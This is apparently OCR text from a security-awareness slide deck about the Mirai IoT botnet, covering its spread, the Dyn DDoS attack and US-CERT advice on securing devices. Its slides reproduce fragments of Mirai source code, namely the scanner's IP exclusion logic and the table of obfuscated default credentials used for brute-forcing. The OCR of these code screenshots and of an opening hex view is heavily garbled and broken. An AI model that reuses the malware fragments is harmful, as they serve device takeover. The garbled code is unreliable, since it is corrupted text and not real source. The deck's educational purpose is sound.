672	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
704	AAAAAAAA	AAAAAAAA	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	ААААААА	AAAAAAAA	אד א
736	ААААААА	ААААААА	AAAAAAAA	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
768	АААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
800	AAAAAAAA	АААААААА	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אדו
832	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
Sign	ed Int 🛛 🗘	big 🗘	) (select s	ome data)					-+
						0 out of 4	096 bytes		

![](_page_49_Picture_2.jpeg)

![](_page_49_Picture_3.jpeg)

# WHAT PICTURE IS IT, GRANDMA?!?

![](_page_50_Picture_1.jpeg)

![](_page_50_Picture_2.jpeg)

![](_page_50_Picture_3.jpeg)

## GRANDMA AND GRANDPA

![](_page_51_Picture_1.jpeg)

![](_page_51_Picture_2.jpeg)

![](_page_51_Picture_3.jpeg)

# WORDS OF & DVICE...

- Don't just click on anything and open any attachments from suspicious sources...
- If it's too good to be true, chances are it's not...
- Backup regularly (offline or use secure online storage)...

![](_page_52_Picture_4.jpeg)

![](_page_52_Picture_5.jpeg)

## SAM WENT HOME HAPPY AND WANTED TO RELAX AND CHILL THAT FRIDAY MORNING BUT THEN...

![](_page_53_Picture_1.jpeg)

![](_page_53_Picture_2.jpeg)

![](_page_53_Picture_3.jpeg)

# NOTHING IS WORKING...

![](_page_54_Picture_1.jpeg)

![](_page_54_Picture_2.jpeg)

![](_page_54_Picture_3.jpeg)

# SERVICES ARE UNREACHABLE

![](_page_55_Picture_1.jpeg)

![](_page_55_Picture_2.jpeg)

![](_page_55_Picture_3.jpeg)

# **AS THE DAY UNFOLDS, SAM FOUND OUT THE CAUSE OF THE OUTAGE...**

![](_page_56_Picture_1.jpeg)

![](_page_56_Picture_2.jpeg)

![](_page_56_Picture_3.jpeg)

Images from Hackread- https://www.hackread.com/mirai-botnet-linked-to-dyn-dns-ddos-attacks/

# WHAT IS MIRAI?

- Mirai is a malware that infects IoT devices for the purpose of using them for DDoS attacks.
- Mirai spreads by scanning IP addresses to find vulnerable IoT devices.
- When it comes to scanning IP addresses, Mirai excludes the IP ranges that belongs to:
  - General Electric
  - Hewlett-Packard
  - US Postal Service
  - Department of Defense
  - Internet Assigned Numbers Authority
- Mirai uses a remote C&C to determine its DDoS target.

![](_page_57_Picture_10.jpeg)

![](_page_57_Picture_11.jpeg)

### IP & DDRESS EXCEPTION LIST

Open 👻	I.	-/Deck	scanner.c top/Mini-Source Code manterinvi	aifeot	Save	=	0	Θ	0
<pre>static ipv uint32 uint32 do {     tr     01     c3     o4 } while 01     == 33       ;; </pre>	A_t get t tmp; t ol, o mp = ran = tmp 2 = (tmp 2 = (tmp 2 = (tmp 3 = (tmp 4 = (tmp (ol == (ol ==)))))))))))))))))))))))))))))))))))	_random_ip(void) 2, o3, o4; d_next(); 6 0xff; >> 06 & 0xff; >> 24) & 0xff; >> 24) & 0xff; 127    00    13]    15    o1 == 16)    156 & 02 == 168)    172 & 66 & o2 == 168)    172 & 66 & o2 == 168 & 02 < 32)    198 & 66 & o2 >= 16 & 66 & o2 < 32)    198 & 66 & o2 >= 18 & 66 & o2 < 20)    243    243    244    o1 == 7    o1 == 11    o1 == 55    o1 == 214    o1 == 215) //	<pre>// 127.0.0.0/8 // 0.0.0.0/8 // 3.0.0.0/8 // 15.8.0.0/7 // 56.0.0.0/8 // 192.168.0.0/16 // 172.16.0.9/14 // 100.64.0.0/16 // 198.18.0.0/15 // 198.18.0.0/15 // 198.18.0.0/15 // 198.18.0.0/15 // 224.*.*.+ 21 [  ol == 22    ol Department of Defendent </pre>	<ul> <li>Loopback</li> <li>Invalid address space</li> <li>General Electric Company</li> <li>Hewlett-Packard Company</li> <li>US Postal Service</li> <li>Internal network</li> <li>Internal network</li> <li>Internal network</li> <li>Internal network</li> <li>IANA NAT reserved</li> <li>IANA NAT reserved</li> <li>IANA Special use</li> <li>Multicast</li> <li>Multicast</li> <li>Multicast</li> </ul>	29	o1 =	= 30	11	
return	INET_A	DDR(01,02,03,04);							
tatic int int co uint8_	consum msumed t *ptr	e_iacs[ <mark>struct</mark> scanner_connection = 0; = conn->rdbuf;	*conn)						
while	(consum	ed < conn->rdbuf pos)		C 🖛 Tab Width: 8 💌	Ln 13	6, Col 1		1	NS

![](_page_58_Picture_2.jpeg)

![](_page_58_Picture_3.jpeg)

# HOW DOES THE ATTACK WORK?

- Once it finds vulnerable IoT devices, it brute forces its way into accessing it via a list of common used passwords.
- Once it infects an IoT device, it makes sure that nobody can communicate with it by closing SSH, Telnet and HTTP ports.
- It also looks for and removes another IoT malware by the name of Anime.

![](_page_59_Picture_4.jpeg)

![](_page_59_Picture_5.jpeg)

## COMMON P&SSWORDS LIST

Vietnikas     Interpretational and the second state of the s	0	property of		
// 14 up jummarking       // rest       subject         uii gut, gut, git, j', Schward, wii/Schward, wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Wii/Schward, Schward, Wii/Schward, Schward, Wii/Schward, Wii/Schward, Schward, Wii/Schward, Wii/Schw	Obiu a Sur	of and gifting they had to find on more select.		See 2 9 9 9
and g. an	// firt up pante	erde .		
add_gun_gun_gin_gin_size         // cost         viscous           add_gun_gun_gin_gin_gin_size         // cost         viscous           add_gun_gun_gin_gin_gin_gin_gin_gin_gin_gin_gin_gi	add auth entry	*12581740144012585, *14501441141313075012(413*, 18)1	/(.rmst	x03531
Model, and, and y of Structure (Model), and S	add_outh_entry	*\s58\s40\s40\x56", *\x54\s48\x58\s54\s48\x58\s54\;	// coot	w12000
and and, min (1) (2010)	add_auth_ant ryl	"LOSELANDANEDALSET, "ALMAYONETANELANETANELANET, EX:	// root	adalo -
a de a de gran de rel de	add auth entry	JONELONG/ONL/DNE/DNE, JONEJONE/ONL/DNE/DNE/DNE, 1111.	// arbitit	admiri
del gen, errer         Status         Status         Status         Status           del gen, errer         Status         Status         Status         Status	add auth writry!	"hasehaveDhaveDhase", "halabalahalahalahalahalahalahalahalahala	//. PD05	035350
ddl act, ett;       1000000000000000000000000000000000000	add_auth_art ry		1/ YD0C	ion/dipc
add_set_min_r         ident_min_r         ident_min_r         ident_min_r         ident_min_r         ident_min_r           add_set_min_r         ident_min_r         ident_min_r         ident_min_r         ident_min_r           ad	003_00th_01(1)1	"NOR/NET/NOP/NOP" "INNER/NET/NET/NOP" 011	// coot	OUTWALT
<pre>ded_act_set; vstrep: double_control_contr</pre>	add wuth entry:	APPENDIX AND AND ADDRESS AND ADDRE	// rnat	Lantech
Body Destrict (*)       Bill (*)	add auth ant pa	Profile and a second se	// FDDC	L42400
<pre>set _ pert _ int _</pre>	add a th entry	A WEAR AND AND A THE ALL AND A THE ALL AND AND AND AND AND AND AND AND AND	11 manure	Same 1
sett         sett <td< th=""><th>add with entral</th><th>Turstin with with the state of the state of</th><th>11 cont</th><th>inonal</th></td<>	add with entral	Turstin with with the state of	11 cont	inonal
add_add_strip	all auth ant ral	NullingEndmodel, "utgiverpativerpativerpativerpativerpativerpation.	// antenint	bightmark til
<pre>edd_pach_entry 'rade_dinedinedinedinedinedinedinedinedinedine</pre>	add with entry	11x501x401x401x551, 11x521x401x401x5511, 41:5	// rost	1001
add act error         () (37) (41) (47) (47) (47) (47) (47) (47) (47) (47	add outh antry	"setByadDyadDyadd", "setDyaddyadDyadd", ddi	// root	12345
add gath gett gring ( ) widt,	add auth ant rel	"1x57x513x67x350", "3x57x3513x67x450", 31;	// user	uper .
add act strp: "dd:wd:wd:wd:, "dd:wd:wd:wd:wd:wd:wd:wd:wd:wd:wd:wd:wd:w	add auth entry	PLOADLANDLANDLANDLANDLAND, PT, 30;	// artein	(mme)
add_wdf_entrg(`_dadloddowdf, wdf.vdf', `_dadloddowdf, wdf.vdf', wdf.vdf', wdf.vdf', '_dadlod         (* obt ill           add_wdf_entrg(`_dadloddowdf, wdf.vdf', '_dadloddowdf, '_dadloddowdf, '_dagloddowdf, '_dadloddowdf, ''dalloddowdf, ''dalloddowd	add auth antrol	*\s58:\v40\v40\v58", *\v62\v40\v50\v60\v60\	// Post	pass
Hets_Action         // root         111           Hets_Action         // root         111         // root           Hets_Action         // root         111         // root         111           Hets_Action         // root         111         // root         1124           Hets_Action         // root         111         // root         1124           Hets_Action         // root         111         // root         1124           Hets_Action         // root         111         // root         111           Hets_Action         // root         111         // root         111           Hets_Action         // root         1111         // root         1111	add_auth_antry	"WERE ARE ARE ARE TO AN AREA ARE ARE ARE ARE ARE ARE ARE ARE A TO ARE A TO AN AREA AREA. TO AN AREA AREA AREA AREA AREA AREA AREA A	// admin	adm1/1234
add add yn dryn y dialon yn addin yn argendau'r yn dialon yn dialo	edd_auth_entry	-1996/96/96/96** -1905/03/913/913/914	// cost	HIL
<pre>ddl_acti_entry: ddl.acti_wdl.acti_idll.ac</pre>	add_wuth_entry:	. And the second sector and sector and sectors and	// admin	pine adultri
<pre>add_edt_etty: directly directly directly is a state of the state</pre>	add auth antry	"NEWERLEWERNER", TAILINERALINER", 25;	// actein	1111.55
<pre>ded_udt_ettrp: //dtu/Ord() dtu/dty: //dtu/Ord() dtu/dtu/Ord() dtu/Ord() dtu/Ord()</pre>	add_auth_entry	ARRENT AND ARRENT ARR	// PDOC	history
<pre>set_entry within the set of the set of</pre>	aos_auth_entry	1990/90/90/90/90/06*, 1997/90/90/1997/90/90/90/90/90/90/90/	11 1000	passworu
<pre>adddef(eff) = Conversel, conversel,</pre>	sog auth entrat	PERCEPTION AND ADDRESS TO A RECEPTION AND A DRESS TO A	// root	14.00
<pre>bit bit bit bit bit bit bit bit bit bit</pre>	add soft and re-	A set of the set of th	Production and the	TTT'S? histolatestar adain-
<pre>setS_setT_entry = StillSTVSSVVFVSSVSSVVFVSSVSVFVSSVVFVSSVVFVSSVVFVSTVSTVSTVSVVFVSTVVFUSSVVFVSTVVFVSTVFVST</pre>	add auth ant ry	Pusting 2 and a standard a	// convice	statuting
add acth erry ( Affrid Affrid acth, 'Affrid Affrid	add auth ant rei	51051105710571067106710581064104810571048105812 510511057105710571058105410	Statistical Inter	101, 101 // numeration supervisor
add acth entry individuals: 'signal color of the set of	add auth antral	PLANDUNDTUNDIUNDER, "VANDUNTUNTUNDIUNDE", 111	17 casest	puest statement of the second
add acth artry i adhudry dynamic (although a the anti- add acth artry i adhudry dynamic (although a the anti- add acth artry i adhudry dynamic (although a the although a the although anti- add acth artry i adhudry dynamic (although a the although a the altho	ald auth writry!	"W46/a57/a40/a51/a56", "G31/ad0/a11/a0/017", 1(1	// guest	12945
edd_wath_wathy       Seture 1       // defunt       Descord         edd_wath_wathy       Seture 1       Seture 1       // defund       Descord       Descord         edd_wath_wathy       Seture 1       Seture 1       Seture 1       Descord       <	add_auth_entry	"untiveE?und?uEDus8", "unDiveD?untiveDiveD?", D1	// guest	12345
add       addd       add       add	add_auth_entry:	**************************************	// odefit	passworth
add act, entry ( ) dividual di dividual dividual dividual dividual dividual dividual	add_wuth_entry;	"\e43\e40\e40\e40\e40\e40\e40\e40\e40\e51\e00\e50\e60\e50\e40\e50\e40\e50\e50\e50\e50\e50\e50\e50\e50\e50\e5	N. 182 183	edeinistrator 1234
<pre>ded_act_stry: \display_intervents, \display_intervents, i; \display_inter</pre>	add auth ant ry	"NEW/TEKTER/TER/TEA/TEA/TEA/TEA/TEA/TEA/TEA/TEA/TEA/TEA	// 565565	000050
add_add_address	a03_auth_entry	CHERNELSANDACHERNELS, CHERNELSANDEROUNDERHEISEN, 1111	// pbases.	Rebeau
<pre>set</pre>	aos_auth_entry	THE ALL AND AND AND THE ALL AND	// some	UDDE
adi adi mitry i Schuldwich, s	sos auto entrat	The second state of the se	// rose	NEWL234
<pre>del_acti_entry: \disuble divides in the interval int</pre>	add auth whiry	A star site should be added and the star star should be the	// Plat	A19618
<pre>bid_cont_entry index doublests index doublest, bit discuss anters index doublests index doublests index doublests index doublests index doublests index doublests discuss anters index doublests index doublests index doublests index doublests index doublests index doublests anters index doublests index doublests index doublests index doublests index doublests index doublests anters index doublests index doublests index doublests index doublests index doublests index doublests doublests anters index doublests index doublests index doublests index doublests index doublests index doublests doublests anters index doublests index doublests index doublests index doublests index doublests index doublests doublests anters index doublests index doublests index doublests index doublests index doublests index doublests doublests anters index doublests index doublests index doublests index doublests index doublests index doublests doublests anters index doublests index</pre>	add auth ant re-	PLUED AND AND AND ALL AND A	11 cont	fubrid
add acth errey "ActiveDiveDiveDiveDiveDiveDiveDiveDiveDiveD	add auth ant of	TASKARADAR SET, TARRARADAR AT A	// root	anka
add acth wirry index not wind is indexed in a second billing of the second index of th	add auth ant rul	Pustimer#Dur#Durbs1, Publick#Durb#La5Aud5Aud5T, 151	27 Foot	Tlax.
add_math_merrs; 1.500 v00 v00 v00 v00 v00 v00 v00 v00 v00	ald auth entry!	*\s68:x40\s40\s55; *\s15\s57\s48\s9F\s40\s40\s12\s54\s40\s85\s40\s54`;	111 // Poot	7u(HkobyLaw)
add acth_artry 'ndruwflywflywflywflywflywflywflywflywflywfly	add with witry	"LEBYOR'S RELATED STORE HER AND ADD LEVER AND A STORE AND A	111 77 Post	-7ujmkodwant/v
add ach artry 'sdiwedbadbadb', 'sdiwedbadbadbadbadbadbadbadbadbadbadbadbadbad	add_auth_entry	"1458/481/482/482465", "1455/488481/458548714871, 111	// cost	nystan.
add ach, etryl "Selected selected selected and selected s	add_wuth_entry;	"\afgroedD\afglabb", "\afg\afglabb", 311	// root	those .
<pre>401_add_matry: \dds:dd:dd:</pre>	add auth antry	"\0581.x40\x40\x40\x56", "\x4E\x581\x41\x42\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48	// root	dreathon .
add_act_strp://dd/sd/sd/sd/sd/sd/sd/sd/sd/sd/sd/sd/sd	add_auth_entry	"\G8.x4D\44D\456", "\457\611447\458", 111	77 root	user
Mody_metry ("statistic statistic statistatistic statistic statistic statistic statistic statistic statist	add_auth_entry	Participant (1996) - 11060 (1977) - 111	11 1006	realten
add with withyl Schweiser Weiner, Schladberlinker Hiller (1994) add with withyl Schweiser Weiner (1994) add with withyl Schweiser (1994) add with with with with with with with with	add auth_entry	AND MOUNDARY, AND	// root	03000038
add_addr_adtryf'(sdialaddraddradd); 'sdialaddraddradd'; Til     // dddn     1234       add_addr_adtryf'(sdialaddraddradd; 'sdialaddraddradd'; Til     // dddn     12345       add_addr_adtryf'(sdialaddraddradd; 'sdialaddraddraddraddraddraddraddraddraddrad	seld such witry	A STAR AND	11 martin	1054
MdS_metry('structure('structure(', 'structure('structure(', 1); 'structure('structure(', 1); 'structure('structure(', 1); 'structure('structure(', 1); 'structure('structure(', 1); 'structure('structur	add auth entry	The second	77 adm10	1224
add_math_wring     Tothrodischer     Tothrodischer     Tothrodischer     Tothrodischer	add with ant of	TANDARD WE WE ARE TANDARD TANK MATTING	Af adain	54301
add_add_entryl     "uddruddruddruddruddruddruddruddruddrudd	add with writes!	"Ind Tradition From The C', The Design of the Design of the Contract of the	// admin	123456
add_addf_addr_afrei["doddweinedFoodfoodf", "confordinedDodd", 11. // addwin 1234 add_addf_addrightering", addweinedGoddf", "addweinedDoddf", 11. // addwin poes add_addf_addrightering", addweinedGoddf", "addweinedGoddf", 12. // addwin weinew add_addf_addrightering", addweinedGoddfoodf, 11. // addweine weinew add_addf_addrightering", addweineGoddfoodfoodf, 11. // feature add_addf_addrightering", addweineGoddfoodfoodfoodfoodfoodfoodfoodfoodfood	add auth and rul	Producted Destruction, Products7, and other states and states and beauty and	C*, TI: // .	adala Tur Musiatain
add_moth_mitryl"selfselfselfselfs", "selfselfselfselfselfselfselfselfselfself	add with witry	The Diversion Frank and the The Diversion of the Diversio	(/. odm10	1234
add_math_metrip1in470+480+480+480+480+480+470+480+480+181+480+19112 // addinn mediane add_math_metrip1in480+480+480+470+480+470+480+480+480+480+480+112 // forch tash add_math_metrip1in480+480+480+480+480+480+480+480+480+480+	edd auth entrail	TWERVER AND	// odwin	Daes
add_with_witry("within")">	add with entry-	"\s43\s46\s40\s40\s40\s40\s40\s40\s40\s40\s40\s40	// admin	seinse
add_addr_entry("self-self-self-self-self-self-self-self-	add auth antrai	"undersed?took11x84", "Le661x471x411x441", 11:	// tech	tech
	add_auth_entry	****F16405v585v64854475v58***********************************	// mother	Tucker
	A MARKAGENO (			and the second se

![](_page_60_Picture_2.jpeg)

![](_page_60_Picture_3.jpeg)

## MIRAI SOURCE CODE IS PUBLIC

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpal.)

![](_page_61_Picture_3.jpeg)

Preface

Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Miral, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

![](_page_61_Picture_9.jpeg)

Source: https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/

## SOMEBODÝ TOOK THẠT CODE ẠND ẠTTẠCKED DÝN

- Dyn is an internet infrastructure company headquartered in New Hampshire
- First wave started at 7am ET
- Second wave started around noon
- Third wave started about 4pm ET
- Traffic to Dyn's Internet directory servers was flooded by requests from millions of IP addresses

![](_page_62_Picture_6.jpeg)

![](_page_62_Picture_7.jpeg)

![](_page_62_Picture_8.jpeg)

## MIRAI TIMELINE

- Sep 20, 2016 Krebs website DDoS'ed
- Oct 1, 2016 Mirai source code leaked
- Oct 21, 2016– Dyn was DDoS'ed
- Nov 21, 2016 Oracle bought Dyn
- Jan 17, 2017 Krebs identified alleged Mirai author

![](_page_63_Picture_6.jpeg)

![](_page_63_Picture_7.jpeg)

# SECURING YOUR IOT DEVICES

- Change default username and password
- Disable unnecessary remote access to the IoT device
- US-CERT Advisory https://www.us-cert.gov/ncas/alerts/TA16-288A

![](_page_64_Picture_4.jpeg)

![](_page_64_Picture_5.jpeg)

# US-CERT PREVENTIVE STEPS

- Ensure all default passwords are changed to strong passwords. Default usernames and passwords for most devices can easily be found on the Internet, making devices with default passwords extremely vulnerable.
- Update IoT devices with security patches as soon as patches become available.
- Disable Universal Plug and Play (UPnP) on routers unless absolutely necessary. [12 (link is external)]
- Purchase IoT devices from companies with a reputation for providing secure devices.
- Consumers should be aware of the capabilities of the devices and appliances installed in their homes and businesses. If a device comes with a default password or an open Wi-Fi connection, consumers should change the password and only allow it to operate on a home network with a secured Wi-Fi router.
- Understand the capabilities of any medical devices intended for at-home use. If the device transmits data or can be operated remotely, it has the potential to be infected.
- Monitor Internet Protocol (IP) port 2323/TCP and port 23/TCP for attempts to gain unauthorized control over IoT devices using the network terminal (Telnet) protocol.[<u>13 (link is external) (link is external)</u>]
- Look for suspicious traffic on port 48101. Infected devices often attempt to spread malware by using port 48101 to send results to the threat actor.

![](_page_65_Picture_9.jpeg)

![](_page_65_Picture_10.jpeg)

#### SAM REALIZED HE HAS NOT BEEN DOING THIS...

![](_page_66_Picture_1.jpeg)

![](_page_66_Picture_2.jpeg)

![](_page_66_Picture_3.jpeg)

### WE NEED TO CHANGE OUR DEVICE'S PASSWORDS BEFORE IT'S TOO LATE!!!

The Joy of Tech by Nitrozac & Snaggy

![](_page_67_Figure_2.jpeg)

You can help us keep the comics coming by becoming a patron! www.patreon/joyoftech joyoftech.com

![](_page_67_Picture_5.jpeg)

![](_page_67_Picture_6.jpeg)

## THIS IS GONNA BE A LONG DAY...

![](_page_68_Picture_1.jpeg)

![](_page_68_Picture_2.jpeg)

![](_page_68_Picture_3.jpeg)

#### THE END?!?

![](_page_69_Picture_1.jpeg)

![](_page_69_Picture_2.jpeg)

![](_page_69_Picture_3.jpeg)

# THANK YOU!!!

PHS 0

RS

- **BIT.LY/ELISANBOOKS**
- FACEBOOK.COM/CCELISAN
- LINKEDIN.COM/IN/ELISAN

![](_page_70_Picture_5.jpeg)

![](_page_70_Picture_6.jpeg)